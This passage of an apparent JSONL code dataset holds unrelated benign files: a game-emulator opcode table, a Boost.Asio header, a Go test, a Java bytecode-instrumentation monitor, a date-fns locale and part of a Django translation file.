C\nOP_RecipeAutoCombine=0x0000\t\t\t# C\nOP_TradeSkillCombine=0x0000\t\t\t# C\n\n# Tribute Packets:\nOP_OpenGuildTributeMaster=0x0000\t# C\nOP_OpenTributeMaster=0x0000\t\t\t# C\nOP_SelectTribute=0x0000\t\t\t\t# C\nOP_TributeItem=0x0000\t\t\t\t# C\nOP_TributeMoney=0x0000\t\t\t\t# C\nOP_TributeToggle=0x0000\t\t\t\t# C\nOP_TributePointUpdate=0x0000\t\t# C\nOP_TributeNPC=0x0000\t\t\t\t#\nOP_GuildTributeInfo=0x0000\t\t\t#\nOP_OpenTributeReply=0x0000\t\t\t#\n# OP_GuildTributeStatus=0x0000\t\t#\n\n# Adventure packets:\nOP_LeaveAdventure=0x0000\t\t\t# C\nOP_AdventureFinish=0x0000\t\t\t# C\nOP_AdventureInfoRequest=0x0000\t\t# C\nOP_AdventureInfo=0x0000\t\t\t\t# C\nOP_AdventureRequest=0x0000\t\t\t# C\nOP_AdventureDetails=0x0000\t\t\t# C\nOP_AdventureData=0x0000\t\t\t\t# C\nOP_AdventureUpdate=0x0000\t\t\t# C\nOP_AdventureMerchantRequest=0x0000\t# C\nOP_AdventureMerchantResponse=0x0000\t# C\nOP_AdventureMerchantPurchase=0x0000\t# C\nOP_AdventureMerchantSell=0x0000\t\t# C\nOP_AdventurePointsUpdate=0x0000\t\t# C\nOP_AdventureStatsRequest=0x0000\t\t# C\nOP_AdventureStatsReply=0x0000\t\t# C\nOP_AdventureLeaderboardRequest=0x0000\t# C\nOP_AdventureLeaderboardReply=0x0000\t# C\n\n# Group Opcodes\nOP_GroupDisband=0x0000\t\t\t\t# C\nOP_GroupInvite=0x0000\t\t\t\t# C\nOP_GroupFollow=0x0000\t\t\t\t# C\nOP_GroupUpdate=0x0000\t\t\t\t# C\nOP_GroupUpdateB=0x0000\t\t\t\t# C\nOP_GroupCancelInvite=0x0000\t\t\t# C - Same as OP_CancelInvite?\nOP_GroupAcknowledge=0x0000\t\t\t# C\nOP_GroupDelete=0x0000\t\t\t\t#\nOP_CancelInvite=0x0000\t\t\t\t# C\nOP_GroupFollow2=0x0000\t\t\t\t# C\nOP_GroupInvite2=0x0000\t\t\t\t# C\nOP_GroupDisbandYou=0x0000\t\t\t# C\nOP_GroupDisbandOther=0x0000\t\t\t# C\nOP_GroupLeaderChange=0x0000\t\t\t# C\nOP_GroupRoles=0x0000\t\t\t\t# C\n\n# LFG/LFP Opcodes\nOP_LFGCommand=0x0000\t\t\t\t# C\nOP_LFGGetMatchesRequest=0x0000\t\t# C\nOP_LFGGetMatchesResponse=0x0000\t\t# C\nOP_LFPGetMatchesRequest=0x0000\t\t# C\nOP_LFPGetMatchesResponse=0x0000\t\t# C\nOP_LFPCommand=0x0000\t\t\t\t# C\nOP_LFGAppearance=0x0000\t\t\t\t#\nOP_LFGResponse=0x0000\t\t\t\t#\n\n# Raid Opcodes\nOP_RaidInvite=0x0000\t\t\t\t# C\nOP_RaidUpdate=0x0000\t\t\t\t# C\nOP_RaidJoin=0x0000\t\t\t\t\t#\n\n# Button-push commands\nOP_Taunt=0x0000\t\t\t\t\t\t# C\nOP_CombatAbility=0x0000\t\t\t\t# C\nOP_SenseTraps=0x0000\t\t\t\t# C\nOP_PickPocket=0x0000\t\t\t\t# C\nOP_DisarmTraps=0x0000\t\t\t\t#\nOP_Disarm=0x0000\t\t\t\t\t# C\nOP_Sneak=0x0000\t\t\t\t\t\t# C\nOP_Fishing=0x0000\t\t\t\t\t# C\nOP_InstillDoubt=0x0000\t\t\t\t# C\nOP_FeignDeath=0x0000\t\t\t\t\t# C\nOP_Mend=0x0000\t\t\t\t\t\t# C\nOP_LDoNOpen=0x0000\t\t\t\t\t# C\n\n# Task packets\nOP_TaskActivityComplete=0x0000\t\t# C\nOP_TaskMemberList=0x0000\t\t\t# C\nOP_OpenNewTasksWindow=0x0000\t\t# C\nOP_AvaliableTask=0x0000\t\t\t\t# C Mispelled?\nOP_AcceptNewTask=0x0000\t\t\t\t# C\nOP_TaskHistoryRequest=0x0000\t\t# C\nOP_TaskHistoryReply=0x0000\t\t\t# C\nOP_CancelTask=0x0000\t\t\t\t# C\nOP_DeclineAllTasks=0x0000\t\t\t#\n\n# Title opcodes\nOP_NewTitlesAvailable=0x0000\t\t# C\nOP_RequestTitles=0x0000\t\t\t\t# C\nOP_SendTitleList=0x0000\t\t\t\t# C\nOP_SetTitle=0x0000\t\t\t\t\t# C\nOP_SetTitleReply=0x0000\t\t\t\t# C\n\n# mail opcodes\nOP_Command=0x0000\t\t\t\t\t#\nOP_MailboxHeader=0x0000\t\t\t\t#\nOP_MailHeader=0x0000\t\t\t\t#\nOP_MailBody=0x0000\t\t\t\t\t#\nOP_NewMail=0x0000\t\t\t\t\t#\nOP_SentConfirm=0x0000\t\t\t\t#\n\n# # # # # # # # # # #  Below this point should not be needed\t\t# # # # # # # # # # #\n\n# This section are all unknown in Titanium\nOP_ForceFindPerson=0x0000\t\t\t#\nOP_LocInfo=0x0000\t\t\t\t\t#\nOP_ReloadUI=0x0000\t\t\t\t\t#\nOP_ItemName=0x0000\t\t\t\t\t#\nOP_ItemLinkText=0x0000\t\t\t\t#\nOP_MultiLineMsg=0x0000\t\t\t\t#\nOP_MendHPUpdate=0x0000\t\t\t\t#\nOP_TargetReject=0x0000\t\t\t\t#\nOP_SafePoint=0x0000\t\t\t\t\t#\nOP_IncreaseStats=0x0000\t\t\t\t#\nOP_ApproveZone=0x0000\t\t\t\t#\nOP_ZoneComplete=0x0000\t\t\t\t#\nOP_ClientError=0x0000\t\t\t\t#\nOP_DumpName=0x0000\t\t\t\t\t#\nOP_Heartbeat=0x0000\t\t\t\t\t#\nOP_CrashDump=0x0000\t\t\t\t\t#\nOP_LoginComplete=0x0000\t\t\t\t#\n\n# discovered opcodes not yet used:\nOP_PickLockSuccess=0x0000\t\t\t#\nOP_PlayMP3=0x0000\t\t\t\t\t#\nOP_ReclaimCrystals=0x0000\t\t\t#\nOP_DynamicWall=0x0000\t\t\t\t#\nOP_OpenDiscordMerchant=0x0000\t\t#\nOP_DiscordMerchantInventory=0x0000\t#\nOP_GiveMoney=0x0000\t\t\t\t\t#\nOP_RequestKnowledgeBase=0x0000\t\t#\nOP_KnowledgeBase=0x0000\t\t\t\t#\nOP_SlashAdventure=0x0000\t\t\t# /adventure\nOP_BecomePVPPrompt=0x0000\t\t\t#\nOP_MoveLogRequest=0x0000\t\t\t# gone I think\nOP_MoveLogDisregard=0x0000\t\t\t# gone I think\n\n# named unknowns, to make looking for real unknown easier\nOP_AnnoyingZoneUnknown=0x0000\t\t#\nOP_Some6ByteHPUpdate=0x0000\t\t\t# seems to happen when you target group members\nOP_QueryResponseThing=0x0000\t\t#\n\n\n#  realityincarnate: these are just here to stop annoying several thousand byte packet dumps\n#OP_LoginUnknown1=0x0000\t\t\t# U OP_SendSpellChecksum\n#OP_LoginUnknown2=0x0000\t\t\t# U OP_SendSkillCapsChecksum\n\n# Petition Opcodes\nOP_PetitionSearch=0x0000\t\t\t# search term for petition\nOP_PetitionSearchResults=0x0000\t\t# (list of?) matches from search\nOP_PetitionSearchText=0x0000\t\t# text results of search\n\nOP_PetitionUpdate=0x0000\t\t\t#\nOP_PetitionCheckout=0x0000\t\t\t#\nOP_PetitionCheckIn=0x0000\t\t\t#\nOP_PetitionQue=0x0000\t\t\t\t#\nOP_PetitionUnCheckout=0x0000\t\t#\nOP_PetitionDelete=0x0000\t\t\t#\nOP_DeletePetition=0x0000\t\t\t#\nOP_PetitionResolve=0x0000\t\t\t#\nOP_PDeletePetition=0x0000\t\t\t#\nOP_PetitionBug=0x0000\t\t\t\t#\nOP_PetitionRefresh=0x0000\t\t\t#\nOP_PetitionCheckout2=0x0000\t\t\t#\nOP_PetitionViewPetition=0x0000\t\t#\n\n# Login opcodes\nOP_SessionReady=0x0000\t\t\t\t#\nOP_Login=0x0000\t\t\t\t\t\t#\nOP_ServerListRequest=0x0000\t\t\t#\nOP_PlayEverquestRequest=0x0000\t\t#\nOP_PlayEverquestResponse=0x0000\t\t#\nOP_ChatMessage=0x0000\t\t\t\t#\nOP_LoginAccepted=0x0000\t\t\t\t#\nOP_ServerListResponse=0x0000\t\t#\nOP_Poll=0x0000\t\t\t\t\t\t#\nOP_EnterChat=0x0000\t\t\t\t\t#\nOP_PollResponse=0x0000\t\t\t\t#\n\n# raw opcodes\nOP_RAWSessionRequest=0x0000\t\t\t#\nOP_RAWSessionResponse=0x0000\t\t#\nOP_RAWCombined=0x0000\t\t\t\t#\nOP_RAWSessionDisconnect=0x0000\t\t#\nOP_RAWKeepAlive=0x0000\t\t\t\t#\nOP_RAWSessionStatRequest=0x0000\t\t#\nOP_RAWSessionStatResponse=0x0000\t#\nOP_RAWPacket=0x0000\t\t\t\t\t#\nOP_RAWFragment=0x0000\t\t\t\t#\nOP_RAWOutOfOrderAck=0x0000\t\t\t#\nOP_RAWAck=0x0000\t\t\t\t\t#\nOP_RAWAppCombined=0x0000\t\t\t#\nOP_RAWOutOfSession=0x0000\t\t\t#\n\n# we need to document the differences between these packets to make identifying them easier\nOP_Some3ByteHPUpdate=0x0000\t\t\t# initial HP update for mobs\nOP_InitialHPUpdate=0x0000\t\t\t#\nOP_OPCode2511=0x2511"}
+{"text": "//\n// high_resolution_timer.hpp\n// ~~~~~~~~~~~~~~~~~~~~~~~~~\n//\n// Copyright (c) 2003-2017 Christopher M. Kohlhoff (chris at kohlhoff dot com)\n//\n// Distributed under the Boost Software License, Version 1.0. (See accompanying\n// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n//\n\n#ifndef BOOST_ASIO_HIGH_RESOLUTION_TIMER_HPP\n#define BOOST_ASIO_HIGH_RESOLUTION_TIMER_HPP\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1200)\n# pragma once\n#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)\n\n#include \n\n#if defined(BOOST_ASIO_HAS_CHRONO) || defined(GENERATING_DOCUMENTATION)\n\n#include \n#include \n\nnamespace boost {\nnamespace asio {\n\n/// Typedef for a timer based on the high resolution clock.\n/**\n * This typedef uses the C++11 @c <chrono> standard library facility, if\n * available. Otherwise, it may use the Boost.Chrono library. To explicitly\n * utilise Boost.Chrono, use the basic_waitable_timer template directly:\n * @code\n * typedef basic_waitable_timer timer;\n * @endcode\n */\ntypedef basic_waitable_timer<\n    chrono::high_resolution_clock>\n  high_resolution_timer;\n\n} // namespace asio\n} // namespace boost\n\n#endif // defined(BOOST_ASIO_HAS_CHRONO) || defined(GENERATING_DOCUMENTATION)\n\n#endif // BOOST_ASIO_HIGH_RESOLUTION_TIMER_HPP\n"}
+{"text": "package main\n\n// Tests of channel 'peers' query, -format=json.\n// See go.tools/guru/guru_test.go for explanation.\n// See peers-json.golden for expected query results.\n\nfunc main() {\n\tchA := make(chan *int)\n\t<-chA\n\tselect {\n\tcase <-chA: // @peers peer-recv-chA \"<-\"\n\t}\n}\n"}
+{"text": "//\n//  MIKMIDIPort_SubclassMethods.h\n//  MIDI Testbed\n//\n//  Created by Andrew Madsen on 3/8/13.\n//  Copyright (c) 2013 Mixed In Key. All rights reserved.\n//\n\n#import \n#import \n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface MIKMIDIPort ()\n\n@property (nonatomic, readwrite) MIDIPortRef portRef;\n\n@end\n\nNS_ASSUME_NONNULL_END\n"}
+{"text": "\n\n    #3F51B5\n    #303F9F\n    #FF4081\n\n"}
+{"text": "/*\n * Copyright (C) 2019 Qunar, Inc.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see .\n */\n\npackage qunar.tc.bistoury.instrument.client.monitor;\n\nimport org.objectweb.asm.Label;\nimport org.objectweb.asm.MethodVisitor;\nimport org.objectweb.asm.Opcodes;\nimport org.objectweb.asm.Type;\nimport org.objectweb.asm.commons.AnalyzerAdapter;\nimport org.objectweb.asm.commons.LocalVariablesSorter;\nimport qunar.tc.bistoury.instrument.client.util.DescDeal;\nimport qunar.tc.bistoury.instrument.spy.BistourySpys1;\n\nimport java.util.List;\n\n/**\n * @author: leix.xie\n * @date: 2018/12/26 19:34\n * @describe：\n */\npublic class MonitorMethodVisitor extends MethodVisitor implements Opcodes {\n\n    private static final String THROWABLE_CLASS_TYPE = Type.getInternalName(Throwable.class);\n    private static final String SPY_CLASS_TYPE = Type.getInternalName(BistourySpys1.class);\n\n    private static final String START_METHOD_NAME = \"start\";\n    private static final String STOP_METHOD_NAME = \"stop\";\n    private static final String EXCEPTION_METHOD_NAME = \"exception\";\n\n    private static final String START_METHOD_DESC = Type.getMethodDescriptor(Type.getType(Long.class));\n    private static final String STOP_METHOD_DESC = Type.getMethodDescriptor(Type.getType(void.class), Type.getType(String.class), Type.getType(Long.class));\n    private static final String EXCEPTION_METHOD_DESC = Type.getMethodDescriptor(Type.getType(void.class), Type.getType(String.class));\n\n    private final String MONITOR_KEY;\n\n    private int scopeVarIndex;\n\n    private Label beginLabel;\n    private Label endLabel;\n    private Label throwableLabel;\n\n    private LocalVariablesSorter localVariablesSorter;\n    private AnalyzerAdapter analyzerAdapter;\n\n    private int maxStack;\n\n    public MonitorMethodVisitor(MethodVisitor methodVisitor, int access, final String name, final String desc, final String className) {\n        super(ASM7, methodVisitor);\n\n        this.MONITOR_KEY = className.replaceAll(\"\\\\/\", \".\") + \"#\" + name + \"(\" + DescDeal.getSimplifyMethodDesc(desc) + \")\";\n\n        beginLabel = new Label();\n        endLabel = new Label();\n        throwableLabel = new Label();\n    }\n\n    @Override\n    public void visitCode() {\n        mv.visitCode();\n        //catch\n        mv.visitTryCatchBlock(beginLabel, endLabel, throwableLabel, THROWABLE_CLASS_TYPE);\n\n        startMonitor();\n        mv.visitLabel(beginLabel);\n    }\n\n    @Override\n    public void visitInsn(int opcode) {\n        if ((opcode >= IRETURN && opcode <= RETURN)) {\n            endMonitor();\n\n            List stack = analyzerAdapter.stack;\n            if (stack == null) {\n                maxStack = Math.max(4, maxStack);\n            } else {\n                maxStack = Math.max(stack.size() + 4, maxStack);\n            }\n        }\n        mv.visitInsn(opcode);\n    }\n\n    @Override\n    public void visitMaxs(int maxStack, int maxLocals) {\n        mv.visitLabel(endLabel);\n\n        emitCatchBlocks();\n\n        //新建了一个throwable变量，maxLocals需要加1\n        super.visitMaxs(Math.max(maxStack, this.maxStack), maxLocals + 1);\n    }\n\n    private void startMonitor() {\n        //long startTime=AgentMonitor.start();\n\n        mv.visitMethodInsn(INVOKESTATIC, SPY_CLASS_TYPE, START_METHOD_NAME, START_METHOD_DESC, false);\n\n        this.scopeVarIndex = localVariablesSorter.newLocal(Type.getType(Long.class));\n        mv.visitVarInsn(ASTORE, scopeVarIndex);\n\n        maxStack = 4;\n    }\n\n    private void endMonitor() {\n        //AgentMonitor.stop(key,startTime);\n        mv.visitLdcInsn(MONITOR_KEY);\n        mv.visitVarInsn(ALOAD, scopeVarIndex);\n        mv.visitMethodInsn(INVOKESTATIC, SPY_CLASS_TYPE, STOP_METHOD_NAME, STOP_METHOD_DESC, false);\n\n    }\n\n    private void exceptionMonitor() {\n        //AgentMonitor.exception(key);\n        mv.visitLdcInsn(MONITOR_KEY);\n        mv.visitMethodInsn(INVOKESTATIC, SPY_CLASS_TYPE, EXCEPTION_METHOD_NAME, EXCEPTION_METHOD_DESC, false);\n    }\n\n    private void emitCatchBlocks() {\n        //catch blocks\n        mv.visitLabel(throwableLabel);\n        //ex\n        int exceptionVarIndex = localVariablesSorter.newLocal(Type.getType(Object.class));\n        mv.visitVarInsn(ASTORE, exceptionVarIndex);\n\n        //异常处理中结束\n        endMonitor();\n        exceptionMonitor();\n\n        //throw ex\n        mv.visitVarInsn(ALOAD, exceptionVarIndex);\n        mv.visitInsn(ATHROW);\n    }\n\n    public void setLocalVariablesSorter(LocalVariablesSorter localVariablesSorter) {\n        this.localVariablesSorter = localVariablesSorter;\n    }\n\n    public void setAnalyzerAdapter(AnalyzerAdapter analyzerAdapter) {\n        this.analyzerAdapter = analyzerAdapter;\n    }\n}\n"}
+{"text": "0040000054000045 ff 0\n0a01010194360140 ff 0\nb7c0000001010101 ff 0\n51cd55b80100b463 ff 0\n000d188a00000000 ff 0\n1312111000000000 ff 0\n1b1a191817161514 ff 0\n232221201f1e1d1c ff 0\n2b2a292827262524 ff 0\n333231302f2e2d2c ff 0\n0000000037363534 0f 1\n0040000054000045 ff 0\n0a01010194360140 ff 0\nb7c0000001010101 ff 0\n51cd55b80100b463 ff 0\n000d188a00000000 ff 0\n1312111000000000 ff 0\n1b1a191817161514 ff 0\n232221201f1e1d1c ff 0\n2b2a292827262524 ff 0\n333231302f2e2d2c ff 0\n0000000037363534 0f 1\n"}
+{"text": "var formatDistanceLocale = {\n  lessThanXSeconds: {\n    one: 'menos de um segundo',\n    other: 'menos de {{count}} segundos'\n  },\n\n  xSeconds: {\n    one: '1 segundo',\n    other: '{{count}} segundos'\n  },\n\n  halfAMinute: 'meio minuto',\n\n  lessThanXMinutes: {\n    one: 'menos de um minuto',\n    other: 'menos de {{count}} minutos'\n  },\n\n  xMinutes: {\n    one: '1 minuto',\n    other: '{{count}} minutos'\n  },\n\n  aboutXHours: {\n    one: 'aproximadamente 1 hora',\n    other: 'aproximadamente {{count}} horas'\n  },\n\n  xHours: {\n    one: '1 hora',\n    other: '{{count}} horas'\n  },\n\n  xDays: {\n    one: '1 dia',\n    other: '{{count}} dias'\n  },\n\n  aboutXWeeks: {\n    one: 'aproximadamente 1 mês', // TODO\n    other: 'aproximadamente {{count}} meses' // TODO\n  },\n\n  xWeeks: {\n    one: '1 mês', // TODO\n    other: '{{count}} meses' // TODO\n  },\n\n  aboutXMonths: {\n    one: 'aproximadamente 1 mês',\n    other: 'aproximadamente {{count}} meses'\n  },\n\n  xMonths: {\n    one: '1 mês',\n    other: '{{count}} meses'\n  },\n\n  aboutXYears: {\n    one: 'aproximadamente 1 ano',\n    other: 'aproximadamente {{count}} anos'\n  },\n\n  xYears: {\n    one: '1 ano',\n    other: '{{count}} anos'\n  },\n\n  overXYears: {\n    one: 'mais de 1 ano',\n    other: 'mais de {{count}} anos'\n  },\n\n  almostXYears: {\n    one: 'quase 1 ano',\n    other: 'quase {{count}} anos'\n  }\n}\n\nexport default function formatDistance(token, count, options) {\n  options = options || {}\n\n  var result\n  if (typeof formatDistanceLocale[token] === 'string') {\n    result = formatDistanceLocale[token]\n  } else if (count === 1) {\n    result = formatDistanceLocale[token].one\n  } else {\n    result = formatDistanceLocale[token].other.replace('{{count}}', count)\n  }\n\n  if (options.addSuffix) {\n    if (options.comparison > 0) {\n      return 'daqui a ' + result\n    } else {\n      return 'há ' + result\n    }\n  }\n\n  return result\n}\n"}
+{"text": "# This file is distributed under the same license as the Django package.\n#\n# Translators:\n# Viko Bartero , 2014\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: django\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2016-06-29 20:57+0200\\n\"\n\"PO-Revision-Date: 2016-06-30 08:31+0000\\n\"\n\"Last-Translator: Jannis Leidel \\n\"\n\"Language-Team: Ido (http://www.transifex.com/django/django/language/io/)\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Language: io\\n\"\n\"Plural-Forms: nplurals=2; plural=(n != 1);\\n\"\n\nmsgid \"Afrikaans\"\nmsgstr \"Afrikaans\"\n\nmsgid \"Arabic\"\nmsgstr \"العربية\"\n\nmsgid \"Asturian\"\nmsgstr \"\"\n\nmsgid \"Azerbaijani\"\nmsgstr \"Azərbaycanca\"\n\nmsgid \"Bulgarian\"\nmsgstr \"български\"\n\nmsgid \"Belarusian\"\nmsgstr \"беларуская\"\n\nmsgid \"Bengali\"\nmsgstr \"বাংলা\"\n\nmsgid \"Breton\"\nmsgstr \"Brezhoneg\"\n\nmsgid \"Bosnian\"\nmsgstr \"босански\"\n\nmsgid \"Catalan\"\nmsgstr \"Català\"\n\nmsgid \"Czech\"\nmsgstr \"čeština\"\n\nmsgid \"Welsh\"\nmsgstr \"Cymraeg\"\n\nmsgid \"Danish\"\nmsgstr \"dansk\"\n\nmsgid \"German\"\nmsgstr \"Deutsch\"\n\nmsgid \"Lower Sorbian\"\nmsgstr \"\"\n\nmsgid \"Greek\"\nmsgstr \"Ελληνικά\"\n\nmsgid \"English\"\nmsgstr \"English\"\n\nmsgid \"Australian English\"\nmsgstr \"\"\n\nmsgid \"British English\"\nmsgstr \"British English\"\n\nmsgid \"Esperanto\"\nmsgstr \"Esperanto\"\n\nmsgid \"Spanish\"\nmsgstr \"Español\"\n\nmsgid \"Argentinian Spanish\"\nmsgstr \"Español de Argentina\"\n\nmsgid \"Colombian Spanish\"\nmsgstr \"\"\n\nmsgid \"Mexican Spanish\"\nmsgstr \"Español de México\"\n\nmsgid \"Nicaraguan Spanish\"\nmsgstr \"Español de Nicaragua\"\n\nmsgid \"Venezuelan Spanish\"\nmsgstr \"Español de Venezuela\"\n\nmsgid \"Estonian\"\nmsgstr \"Eesti\"\n\nmsgid \"Basque\"\nmsgstr \"Euskara\"\n\nmsgid \"Persian\"\nmsgstr \"فارسی\"\n\nmsgid \"Finnish\"\nmsgstr \"Suomi\"\n\nmsgid \"French\"\nmsgstr \"Français\"\n\nmsgid \"Frisian\"\nmsgstr \"Frysk\"\n\nmsgid \"Irish\"\nmsgstr \"Gaeilge\"\n\nmsgid \"Scottish Gaelic\"\nmsgstr \"\"\n\nmsgid \"Galician\"\nmsgstr \"Galego\"\n\nmsgid \"Hebrew\"\nmsgstr \"עברית\"\n\nmsgid \"Hindi\"\nmsgstr \"हिन्दी\"\n\nmsgid \"Croatian\"\nmsgstr \"hrvatski\"\n\nmsgid \"Upper Sorbian\"\nmsgstr \"\"\n\nmsgid \"Hungarian\"\nmsgstr \"Magyar\"\n\nmsgid \"Interlingua\"\nmsgstr \"Interlingua\"\n\nmsgid \"Indonesian\"\nmsgstr \"Bahasa Indonesia\"\n\nmsgid \"Ido\"\nmsgstr \"\"\n\nmsgid \"Icelandic\"\nmsgstr \"Íslenska\"\n\nmsgid \"Italian\"\nmsgstr \"Italiano\"\n\nmsgid \"Japanese\"\nmsgstr \"日本語\"\n\nmsgid \"Georgian\"\nmsgstr \"ქართული\"\n\nmsgid \"Kazakh\"\nmsgstr \"Қазақша\"\n\nmsgid \"Khmer\"\nmsgstr \"Khmer\"\n\nmsgid \"Kannada\"\nmsgstr \"Kannaḍa\"\n\nmsgid \"Korean\"\nmsgstr \"한국어\"\n\nmsgid \"Luxembourgish\"\nmsgstr \"Lëtzebuergesch\"\n\nmsgid \"Lithuanian\"\nmsgstr \"Lietuvių\"\n\nmsgid \"Latvian\"\nmsgstr \"Latviešu\"\n\nmsgid \"Macedonian\"\nmsgstr \"Македонски\"\n\nmsgid \"Malayalam\"\nmsgstr \"മലയാളം\"\n\nmsgid \"Mongolian\"\nmsgstr \"Монгол\"\n\nmsgid \"Marathi\"\nmsgstr \"\"\n\nmsgid \"Burmese\"\nmsgstr \"Burmese\"\n\nmsgid \"Norwegian Bokmål\"\nmsgstr \"\"\n\nmsgid \"Nepali\"\nmsgstr \"नेपाली\"\n\nmsgid \"Dutch\"\nmsgstr \"Nederlands\"\n\nmsgid \"Norwegian Nynorsk\"\nmsgstr \"Norsk nynorsk\"\n\nmsgid \"Ossetic\"\nmsgstr \"Ossetic\"\n\nmsgid \"Punjabi\"\nmsgstr \"ਪੰਜਾਬੀ\"\n\nmsgid \"Polish\"\nmsgstr \"Polski\"\n\nmsgid \"Portuguese\"\nmsgstr \"Português\"\n\nmsgid \"Brazilian Portuguese\"\nmsgstr \"Português do Brasil\"\n\nmsgid \"Romanian\"\nmsgstr \"Română\"\n\nmsgid \"Russian\"\nmsgstr \"Русский\"\n\nmsgid \"Slovak\"\nmsgstr \"Slovenčina\"\n\nmsgid \"Slovenian\"\nmsgstr \"Slovenščina\"\n\nmsgid \"Albanian\"\nmsgstr \"Shqip\"\n\nmsgid \"Serbian\"\nmsgstr \"Српски / srpski\"\n\nmsgid \"Serbian Latin\"\nmsgstr \"Serbian Latin\"\n\nmsgid \"Swedish\"\nmsgstr \"Svenska\"\n\nmsgid \"Swahili\"\nmsgstr \"Kiswahili\"\n\nmsgid \"Tamil\"\nmsgstr \"தமிழ்\"\n\nmsgid \"Telugu\"\nmsgstr \"Telugu\"\n\nmsgid \"Thai\"\nmsgstr \"ไทย\"\n\nmsgid \"Turkish\"\nmsgstr \"Türkçe\"\n\nmsgid \"Tatar\"\nmsgstr \"Tatar\"\n\nmsgid \"Udmurt\"\nmsgstr \"Удмурт\"\n\nmsgid \"Ukrainian\"\nmsgstr \"Українська\"\n\nmsgid \"Urdu\"\nmsgstr \"اُردُو\"\n\nmsgid \"Vietnamese\"\nmsgstr \"Tiếng Việt\"\n\nmsgid \"Simplified Chinese\"\nmsgstr \"简体中文\"\n\nmsgid \"Traditional Chinese\"\nmsgstr \"繁體中文\"\n\nmsgid \"Messages\"\nmsgstr \"\"\n\nmsgid \"Site Maps\"\nmsgstr \"\"\n\nmsgid \"Static Files\"\nmsgstr \"\"\n\nmsgid \"Syndication\"\nmsgstr \"\"\n\nmsgid \"Enter a valid value.\"\nmsgstr \"Skribez valida datumo.\"\n\nmsgid \"Enter a valid URL.\"\nmsgstr \"Skribez valida URL.\"\n\nmsgid \"Enter a valid integer.\"\nmsgstr \"\"\n\nmsgid \"Enter a valid email address.\"\nmsgstr \"Skribez valida e-posto adreso.\"\n\nmsgid \"\"\n\"Enter a valid 'slug' consisting of letters, numbers, underscores or hyphens.\"\nmsgstr \"\"\n\"Skribez valida \\\"slug\\\" kompozata de literi, numeri, juntostreki o \"\n\"subjuntostreki.\"\n\nmsgid \"\"\n\"Enter a valid 'slug' consisting of Unicode letters, numbers, underscores, or \"\n\"hyphens.\"\nmsgstr \"\"\n\nmsgid \"Enter a valid IPv4 address.\"\nmsgstr \"Skribez valida IPv4 adreso.\"\n\nmsgid \"Enter a valid IPv6 address.\"\nmsgstr \"Skribez valida IPv6 adreso.\"\n\nmsgid \"Enter a valid IPv4 or IPv6 address.\"\nmsgstr \"Skribez valida adreso IPv4 od IPv6.\"\n\nmsgid \"Enter only digits separated by commas.\"\nmsgstr \"Skribez nur cifri separata per komi.\"\n\n#, python-format\nmsgid \"Ensure this value is %(limit_value)s (it is %(show_value)s).\"\nmsgstr \"\"\n\"Verifikez ke ica datumo esas %(limit_value)s (olu esas %(show_value)s).\"\n\n#, python-format\nmsgid \"Ensure this value is less than or equal to %(limit_value)s.\"\nmsgstr \"Verifikez ke ica datumo esas minora kam od egala a %(limit_value)s.\"\n\n#, python-format\nmsgid \"Ensure this value is greater than or equal to %(limit_value)s.\"\nmsgstr \"Verifikez ke ica datumo esas majora kam od egala a %(limit_value)s.\"\n\n#, python-format\nmsgid \"\"\n\"Ensure this value has at least %(limit_value)d character (it has \"\n\"%(show_value)d).\"\nmsgid_plural \"\"\n\"Ensure this value has at least %(limit_value)d characters (it has \"\n\"%(show_value)d).\"\nmsgstr[0] \"\"\n\"Verifikez ke ica datumo havas %(limit_value)d litero adminime (olu havas \"\n\"%(show_value)d).\"\nmsgstr[1] \"\"\n\"Verifikez ke ica datumo havas %(limit_value)d literi adminime (olu havas \"\n\"%(show_value)d).\"\n\n#, python-format\nmsgid \"\"\n\"Ensure this value has at most %(limit_value)d character (it has \"\n\"%(show_value)d).\"\nmsgid_plural \"\"\n\"Ensure this value has at most %(limit_value)d characters (it has \"\n\"%(show_value)d).\"\nmsgstr[0] \"\"\n\"Verifikez ke ica datumo havas %(limit_value)d litero admaxime (olu havas \"\n\"%(show_value)d).\"\nmsgstr[1] \"\"\n\"Verifikez ke ica datumo havas %(limit_value)d literi admaxime (olu havas \"\n\"%(show_value)d).\"\n\n#, python-format\nmsgid \"Ensure that there are no more than %(max)s digit in total.\"\nmsgid_plural \"Ensure that there are no more than %(max)s digits in total.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#, python-format\nmsgid \"Ensure that there are no more than %(max)s decimal place.\"\nmsgid_plural \"Ensure that there are no more than %(max)s decimal places.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#, python-format\nmsgid \"\"\n\"Ensure that there are no more than %(max)s digit before the decimal point.\"\nmsgid_plural \"\"\n\"Ensure that there are no more than %(max)s digits before the decimal point.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\nmsgid \"and\"\nmsgstr \"e\"\n\n#, python-format\nmsgid \"%(model_name)s with this %(field_labels)s already exists.\"\nmsgstr \"\"\n\n#, python-format\nmsgid \"Value %(value)r is not a valid choice.\"\nmsgstr \"\"\n\nmsgid \"This field cannot be null.\"\nmsgstr \"Ica feldo ne povas esar nula.\"\n\nmsgid \"This field cannot be blank.\"\nmsgstr \"Ica feldo ne povas esar vakua.\"\n\n#, python-format\nmsgid \"%(model_name)s with this %(field_label)s already exists.\"\nmsgstr \"La %(model_name)s kun ica %(field_label)s ja existas.\"\n\n#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'.\n#. Eg: \"Title must be unique for pub_date year\"\n#, python-format\nmsgid \"\"\n\"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s.\"\nmsgstr 